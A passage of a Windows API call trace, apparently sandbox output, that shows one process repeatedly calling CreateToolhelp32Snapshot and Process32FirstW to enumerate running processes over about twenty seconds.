hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.857] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0143.889] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.280] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0144.312] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.516] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0144.537] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.723] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0144.726] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0144.915] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.151] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0145.191] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.389] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0145.391] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.704] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0145.707] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.011] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0146.043] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0146.433] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0146.602] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0147.150] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0147.541] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0147.844] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0148.109] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0148.476] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0148.748] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0148.966] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.196] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0149.199] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0149.399] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0149.626] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.845] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0149.848] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0150.138] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0150.355] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0150.594] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.802] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0150.804] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0151.044] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0151.265] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.466] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0151.475] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0151.644] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0151.847] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0152.103] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0152.456] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.704] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0152.706] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.852] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0152.856] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.045] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0153.048] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.255] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0153.258] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.485] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0153.488] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0153.697] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0153.906] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.267] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0154.270] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.429] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0154.432] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0154.608] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0154.813] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.327] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0156.343] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.863] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0156.866] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0157.131] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.318] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0157.321] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0157.527] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0158.050] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0158.244] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0158.440] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0158.653] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.850] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0158.852] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.033] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0159.038] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0159.246] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0159.415] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.693] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0159.852] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0160.028] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0160.540] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.747] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0160.750] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0160.998] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0161.218] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0161.414] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.579] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0161.582] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.795] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0161.798] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.126] CreateToolhelp32Snapshot 